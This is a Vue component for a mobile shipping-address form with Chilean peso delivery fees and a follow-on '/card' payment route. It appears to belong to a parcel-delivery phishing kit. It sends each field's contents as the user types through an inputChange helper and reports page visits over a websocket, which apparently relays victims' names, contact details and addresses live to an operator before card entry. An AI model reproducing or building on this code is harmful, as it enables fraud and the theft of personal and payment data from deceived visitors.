<script setup lang="ts">
import { useRouter } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, onMounted, reactive, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData, formatPriceWithUnit, inputChange, myWebSocket } from "@/utils/common";
import { goodsConfig } from "@/config";

const selectFee = ref("");
const { t } = useI18n();
const loadingStore = useLoadingStore();
const showBz = ref(false);

const formData = reactive({
  fullName: { title: "address_view.your_name", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  lastName: { title: "address_view.last_name", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  address: { title: "address_view.address", title2: "", placeholder: "address_view.street_address", value: "", error: false, errtext: "address_view.field_error" },
  address2: { title: "address_view.detailed_address", title2: "address_view.optional", placeholder: "address_view.apartment_number", value: "", error: false, errtext: "address_view.field_error" },
  city: { title: "address_view.city", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  state: { title: "address_view.state", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  zipCode: { title: "address_view.zip_code", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  email: { title: "address_view.email", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
  phone: { title: "address_view.telephone", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
});

const shippingPrices = computed(() => {
  const defaultPrices = {
    rapido: "CLP 2,888",
    estandar: "CLP 399",
  };

  if (!configData.value?.pay_amount) {
    return defaultPrices;
  }

  const amounts = configData.value.pay_amount.split(",");
  return {
    rapido: amounts[0] || defaultPrices.rapido,
    estandar: amounts[1] || defaultPrices.estandar,
  };
});

const currentDate = new Date();
const shippingDate = new Date(currentDate);
shippingDate.setDate(currentDate.getDate() + 2);

const dayNames = [t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"), t("Thursday"), t("Friday"), t("Saturday")];
const monthNames = [t("January"), t("February"), t("March"), t("April"), t("May"), t("June"), t("July"), t("August"), t("September"), t("October"), t("November"), t("December")];

const shippingMessage = computed(() => {
  const day = dayNames[shippingDate.getDay()];
  const date = shippingDate.getDate() + 1;
  const month = monthNames[shippingDate.getMonth()];
  return t("address_view.express_shipping", { day, date, month });
});

const startDate = new Date(currentDate);
const endDate = new Date(currentDate);
startDate.setDate(currentDate.getDate() + 4);
endDate.setDate(currentDate.getDate() + 6);

const shippingMessage2 = computed(() => {
  const startDay = dayNames[startDate.getDay()];
  const startDayNumber = startDate.getDate();
  const startMonth = monthNames[startDate.getMonth()];
  const endDay = dayNames[endDate.getDay()];
  const endDayNumber = endDate.getDate();
  const endMonth = monthNames[endDate.getMonth()];
  return t("address_view.delivery_between", { startDay, startDayNumber, startMonth, endDay, endDayNumber, endMonth });
});

const validateEmail = () => { };

const router = useRouter();

const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

const isFormValid = computed(() => {
  return (Object.keys(formData) as Array<keyof typeof formData>).every((key) => {
    const field = formData[key];
    if (!field.value) return false;
    if (key === 'email') return emailPattern.test(field.value);
    return true;
  });
});

const textChange = (event: any, key: any) => {
  const value = event.target.value;
  const field = formData[key as keyof typeof formData];
  field.value = value;
  inputChange("input_address", key, value);

  if (!value) {
    field.error = true;
    field.errtext = "address_view.field_error";
  } else if (key === "email") {
    if (!emailPattern.test(value)) {
      field.error = true;
      field.errtext = "address_view.invalid_email";
    } else {
      field.error = false;
    }
  } else {
    field.error = false;
  }
};

const next = () => {
  let noPass = false;

  (Object.keys(formData) as Array<keyof typeof formData>).forEach((key) => {
    const field = formData[key];

    if (!field.value) {
      field.error = true;
      noPass = true;
    } else {
      field.error = false;
    }
  });

  if (noPass) {
    return;
  }

  if (!showBz.value) {
    const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (!emailPattern.test(formData.email.value)) {
      formData.email.error = true;
      formData.email.errtext = "address_view.invalid_email";
      return;
    } else {
      formData.email.errtext = "address_view.field_error";
      formData.email.error = false;
    }
  }

  if (goodsConfig.value.feeType === 2) {
    if (selectFee.value === "") {
      alert(t("address_view.please_select_date"));
      return;
    }

    const fee1Formatted = formatPriceWithUnit(goodsConfig.value.fee);
    const fee2Formatted = formatPriceWithUnit(goodsConfig.value.fee2);

    let feeAmount = 0;
    if (selectFee.value === fee1Formatted) {
      feeAmount = goodsConfig.value.fee;
    } else if (selectFee.value === fee2Formatted) {
      feeAmount = goodsConfig.value.fee2;
    }

    const goodsPrice = parseFloat(localStorage.getItem("goodsPrice") || "0");
    const totalAmount = goodsPrice + feeAmount;

    localStorage.setItem("shippingFee", formatPriceWithUnit(feeAmount));
    localStorage.setItem("moneyAmount", totalAmount.toString());
  }

  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/card");
  }, 200);
};

onMounted(() => {
  loadingStore.setLoading(false);
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "address" },
    })
  );
  localStorage.setItem("route", "address");

  const phone = localStorage.getItem("phone");
  if (phone) {
    formData.phone.value = phone;
  }

  const show = configData.value.customInput?.find(
    (item: any) => item.key === "showBz"
  )?.value;
  showBz.value = !!show;
});
</script>
<template>
  <div class="at1__page">
    <div class="at1__content">

      <!-- Top header banner -->
      <header class="at1__header">
        <div class="at1__header-icon">📦</div>
        <div class="at1__header-body">
          <h2 class="at1__header-title">{{ t('address_view.header_title') }}</h2>
          <p class="at1__header-sub">{{ t('address_view.header_sub') }}</p>
        </div>
      </header>

      <section class="at1__card">
        <section class="at1__card-body">
          <form class="at1__form" @submit.prevent="next">
            <div class="at1__form-body">

              <!-- Name row -->
              <div class="at1__row-group">
                <div class="at1__row">
                  <div class="at1__field" :class="{ 'at1__field--error': formData.fullName.error }">
                    <label class="at1__label">
                      <span class="at1__label-text">{{ t('address_view.your_name') }}</span>
                      <span class="at1__required">*</span>
                    </label>
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="given-name" :placeholder="t('address_view.your_name')" :value="formData.fullName.value" @input="(e) => textChange(e, 'fullName')">
                    </div>
                    <span v-if="formData.fullName.error" class="at1__err">{{ t(formData.fullName.errtext) }}</span>
                  </div>
                </div>
                <div class="at1__row">
                  <div class="at1__field" :class="{ 'at1__field--error': formData.lastName.error }">
                    <label class="at1__label">
                      <span class="at1__label-text">{{ t('address_view.last_name') }}</span>
                      <span class="at1__required">*</span>
                    </label>
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="family-name" :placeholder="t('address_view.last_name')" :value="formData.lastName.value" @input="(e) => textChange(e, 'lastName')">
                    </div>
                    <span v-if="formData.lastName.error" class="at1__err">{{ t(formData.lastName.errtext) }}</span>
                  </div>
                </div>
              </div>

              <!-- Email -->
              <div class="at1__row">
                <div class="at1__field" :class="{ 'at1__field--error': formData.email.error }">
                  <label class="at1__label">
                    <span class="at1__label-text">{{ t('address_view.email') }}</span>
                    <span class="at1__required">*</span>
                  </label>
                  <div class="at1__input-box">
                    <input class="at1__input" type="email" autocomplete="email" :placeholder="t('address_view.email')" :value="formData.email.value" @input="(e) => textChange(e, 'email')">
                  </div>
                  <span v-if="formData.email.error" class="at1__err">{{ t(formData.email.errtext) }}</span>
                </div>
              </div>

              <!-- Phone -->
              <div class="at1__row">
                <div class="at1__field" :class="{ 'at1__field--error': formData.phone.error }">
                  <label class="at1__label">
                    <span class="at1__label-text">{{ t('address_view.telephone') }}</span>
                    <span class="at1__required">*</span>
                  </label>
                  <div class="at1__input-box">
                    <input class="at1__input" type="tel" autocomplete="tel" maxlength="14" :placeholder="t('address_view.telephone')" :value="formData.phone.value" @input="(e) => textChange(e, 'phone')">
                  </div>
                  <span v-if="formData.phone.error" class="at1__err">{{ t(formData.phone.errtext) }}</span>
                </div>
              </div>

              <!-- Address section -->
              <div class="at1__address-section">
                <h3 class="at1__address-title">{{ t('address_view.mailing_address') }}</h3>

                <!-- Street -->
                <div class="at1__row">
                  <div class="at1__field" :class="{ 'at1__field--error': formData.address.error }">
                    <label class="at1__label">
                      <span class="at1__label-text">{{ t('address_view.street_address') }}</span>
                      <span class="at1__required">*</span>
                    </label>
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="street-address" :placeholder="t('address_view.street_address')" :value="formData.address.value" @input="(e) => textChange(e, 'address')">
                    </div>
                    <span v-if="formData.address.error" class="at1__err">{{ t(formData.address.errtext) }}</span>
                  </div>
                </div>

                <!-- Apartment (optional) -->
                <div class="at1__row">
                  <div class="at1__field" :class="{ 'at1__field--error': formData.address2.error }">
                    <label class="at1__label">
                      <span class="at1__label-text">{{ t('address_view.apartment_number') }} <span class="at1__optional">{{ t('address_view.optional') }}</span></span>
                      <span class="at1__required">*</span>
                    </label>
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="address-line2" :placeholder="t('address_view.apartment_number')" :value="formData.address2.value" @input="(e) => textChange(e, 'address2')">
                    </div>
                    <span v-if="formData.address2.error" class="at1__err">{{ t(formData.address2.errtext) }}</span>
                  </div>
                </div>

                <!-- City / State / Zip -->
                <div class="at1__row-group">
                  <div class="at1__field" :class="{ 'at1__field--error': formData.city.error }">
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="address-level2" :placeholder="t('address_view.city')" :value="formData.city.value" @input="(e) => textChange(e, 'city')">
                    </div>
                    <span v-if="formData.city.error" class="at1__err">{{ t(formData.city.errtext) }}</span>
                  </div>
                  <div class="at1__field" :class="{ 'at1__field--error': formData.state.error }">
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="address-level1" :placeholder="t('address_view.state')" :value="formData.state.value" @input="(e) => textChange(e, 'state')">
                    </div>
                    <span v-if="formData.state.error" class="at1__err">{{ t(formData.state.errtext) }}</span>
                  </div>
                  <div class="at1__field" :class="{ 'at1__field--error': formData.zipCode.error }">
                    <div class="at1__input-box">
                      <input class="at1__input" autocomplete="postal-code" :placeholder="t('address_view.zip_code')" :value="formData.zipCode.value" @input="(e) => textChange(e, 'zipCode')">
                    </div>
                    <span v-if="formData.zipCode.error" class="at1__err">{{ t(formData.zipCode.errtext) }}</span>
                  </div>
                </div>
              </div>
            </div>

            <div class="at1__form-footer">
              <p class="at1__footer-hint">{{ t('address_view.dear_user_msg') }}</p>
              <button type="submit" class="at1__submit-btn" :class="{ 'at1__submit-btn--active': isFormValid }" :disabled="!isFormValid">{{ t('Next Step') }}</button>
            </div>
          </form>
        </section>
      </section>
    </div>
  </div>
</template>

<style scoped>
/* ===== Page ===== */
.at1__page {
  min-height: 100vh;
  background: #f5f5f5;
  box-sizing: border-box;
}
.at1__content {
  max-width: 480px;
  margin: 0 auto;
  padding: 24px 18px 64px;
}

/* ===== Header banner ===== */
.at1__header {
  display: flex;
  align-items: center;
  gap: 16px;
  background: var(--global-primary-color);
  border-radius: 14px;
  padding: 22px 22px;
  margin-bottom: 20px;
  box-shadow: 0 4px 16px rgba(230,0,0,0.2);
}
.at1__header-icon {
  font-size: 36px;
  flex-shrink: 0;
  line-height: 1;
}
.at1__header-body {
  display: flex;
  flex-direction: column;
  gap: 5px;
}
.at1__header-title {
  font-size: 17px;
  font-weight: 700;
  color: #fff;
  margin: 0;
  line-height: 1.3;
}
.at1__header-sub {
  font-size: 13px;
  color: rgba(255,255,255,0.85);
  margin: 0;
  line-height: 1.6;
}

/* ===== Card ===== */
.at1__card {
  background: #fff;
  border-radius: 12px;
  box-shadow: 0 1px 10px rgba(0,0,0,0.07);
  overflow: hidden;
}
.at1__card-body {
  padding: 0;
}

/* ===== Form ===== */
.at1__form {
  display: flex;
  flex-direction: column;
}
.at1__form-body {
  padding: 28px 22px 16px;
  display: flex;
  flex-direction: column;
  gap: 0;
}

/* ===== Row / Group ===== */
.at1__row {
  width: 100%;
  margin-bottom: 24px;
}
.at1__row-group {
  display: flex;
  gap: 14px;
  margin-bottom: 24px;
}
.at1__row-group > .at1__row {
  flex: 1;
  min-width: 0;
  margin-bottom: 0;
}
.at1__row-group > .at1__field {
  flex: 1;
  min-width: 0;
}

/* ===== Field ===== */
.at1__field {
  display: flex;
  flex-direction: column;
  width: 100%;
}

/* ===== Label ===== */
.at1__label {
  display: flex;
  align-items: center;
  gap: 2px;
  margin-bottom: 8px;
}
.at1__label-text {
  font-size: 14px;
  color: #333;
  font-weight: 500;
}
.at1__required {
  color: var(--global-primary-color);
  font-size: 13px;
  font-weight: 700;
  margin-left: 1px;
}
.at1__optional {
  font-size: 11px;
  color: #aaa;
  font-weight: 400;
}

/* ===== Input box (border style) ===== */
.at1__input-box {
  border: 1.5px solid #ddd;
  border-radius: 6px;
  background: #fff;
  transition: border-color 0.18s;
  overflow: hidden;
}
.at1__field--error .at1__input-box {
  border-color: var(--global-primary-color);
}
.at1__input-box:focus-within {
  border-color: #999;
}
.at1__input {
  width: 100%;
  border: none;
  outline: none;
  padding: 13px 14px;
  font-size: 15px;
  color: #111;
  background: transparent;
  box-sizing: border-box;
}
.at1__input::placeholder {
  color: #bbb;
  font-size: 13px;
}

/* ===== Error ===== */
.at1__err {
  color: var(--global-primary-color);
  font-size: 12px;
  margin-top: 5px;
  display: block;
}

/* ===== Address section ===== */
.at1__address-section {
  margin-top: 4px;
  padding-top: 24px;
  border-top: 1px solid #f0f0f0;
}
.at1__address-title {
  font-size: 16px;
  font-weight: 700;
  color: #111;
  margin: 0 0 24px;
}

/* ===== Footer ===== */
.at1__form-footer {
  border-top: 1px solid #f0f0f0;
  padding: 24px 22px 32px;
  background: #fff;
  display: flex;
  flex-direction: column;
  gap: 16px;
}
.at1__footer-hint {
  font-size: 12px;
  color: #999;
  text-align: center;
  margin: 0;
  line-height: 1.6;
}
.at1__submit-btn {
  display: block;
  width: 100%;
  background: #ccc;
  color: #fff;
  border: none;
  border-radius: 10px;
  padding: 16px 0;
  font-size: 16px;
  font-weight: 700;
  cursor: not-allowed;
  letter-spacing: 0.02em;
  transition: background 0.2s, opacity 0.16s;
}
.at1__submit-btn--active {
  background: var(--global-primary-color);
  cursor: pointer;
}
.at1__submit-btn--active:active {
  opacity: 0.82;
}
</style>
